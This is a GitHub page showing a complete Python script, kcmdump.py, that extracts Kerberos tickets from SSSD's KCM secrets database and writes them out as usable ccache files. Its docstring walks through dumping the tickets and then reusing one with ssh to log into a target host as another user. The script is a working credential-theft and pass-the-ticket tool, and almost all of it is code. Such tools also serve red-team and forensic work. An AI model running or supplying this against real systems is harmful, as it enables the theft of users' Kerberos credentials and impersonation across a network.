-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathkcmdump.py
More file actions
executable file
·99 lines (77 loc) · 3.16 KB
/
kcmdump.py
File metadata and controls
executable file
·99 lines (77 loc) · 3.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
"""
$ apt install python3-construct python3-ldb
$ python3 kcmdump.py /var/lib/sss/secrets/secrets.ldb out
$ ls -lh out/
-rw-r--r--. 1 root root 1.3K Jan 1 00:00 user_0.ccache
-rw-r--r--. 1 root root 1.3K Jan 1 00:00 user_1.ccache
$ KRB5CCNAME=out/user_0.ccache klist
$ KRB5CCNAME=out/user_0.ccache ssh user@corp.local@target.corp.local
References:
- https://sssd.io/release-notes/sssd-2.0.0.html
- https://github.com/SSSD/sssd/tree/master/src/responder/kcm
- https://web.mit.edu/kerberos/www/krb5-latest/doc/formats/ccache_file_format.html
- https://github.com/mandiant/SSSDKCMExtractor
- https://github.com/blacklanternsecurity/KCMTicketFormatter
"""
from argparse import ArgumentParser
from pathlib import Path
from struct import pack
from construct import Struct, this, Byte, Bytes, Int8ul, Int32ul, Array, PascalString, If
from ldb import Ldb
KCM_BASEDN = 'cn=kcm'
CCACHE_HEADER = '0504000c00010008ffffffff00000000'
Cred = Struct(
'uuid' / Array(16, Byte),
'blob_len' / Int32ul,
'blob' / Bytes(this.blob_len)
)
KCMCCache = Struct(
'kdc_offset' / Int32ul,
'principal_presence' / Int8ul,
'realm' / PascalString(Int32ul, 'utf-8'),
'type' / Int32ul,
'data' / If((this.principal_presence == 1),
Struct(
'principals_len' / Int32ul,
'principals' / Array(this.principals_len, PascalString(Int32ul, 'utf-8')),
'creds_len' / Int32ul,
'creds' / Array(this.creds_len, Cred)
))
)
def dump(database, output):
db = Ldb(database)
containers = db.search(base=KCM_BASEDN, expression='type=container', attrs=['dn']).msgs
output = Path(output)
output.mkdir(exist_ok=True)
for i, container in enumerate(containers):
secrets = db.search(container.dn, expression='secret=*', attrs=['secret']).msgs
for j, secret in enumerate(secrets):
secret = secret['secret'].get(0)
try:
kcm_cc = KCMCCache.parse(secret)
except:
print(f'error: could not parse secret {j}')
continue
if not kcm_cc.data:
continue
with open(output / f'{kcm_cc.data.principals[0]}_{i*j+j}.ccache', 'wb') as ccache:
# 1. Header
ccache.write(bytes.fromhex(CCACHE_HEADER))
# 2. Default principal
ccache.write(pack('>I', kcm_cc.type))
ccache.write(pack('>I', kcm_cc.data.principals_len))
ccache.write(pack('>I', len(kcm_cc.realm)))
ccache.write(kcm_cc.realm.encode())
for principal in kcm_cc.data.principals:
ccache.write(pack('>I', len(principal)))
ccache.write(principal.encode())
# 3. Credentials
for cred in kcm_cc.data.creds:
ccache.write(cred.blob)
if __name__ == '__main__':
parser = ArgumentParser(description='KCM Dumper')
parser.add_argument('database', help='path to the KCM secrets database')
parser.add_argument('output', nargs='?', default='.', help='path to the output folder')
args = parser.parse_args()
dump(args.database, args.output)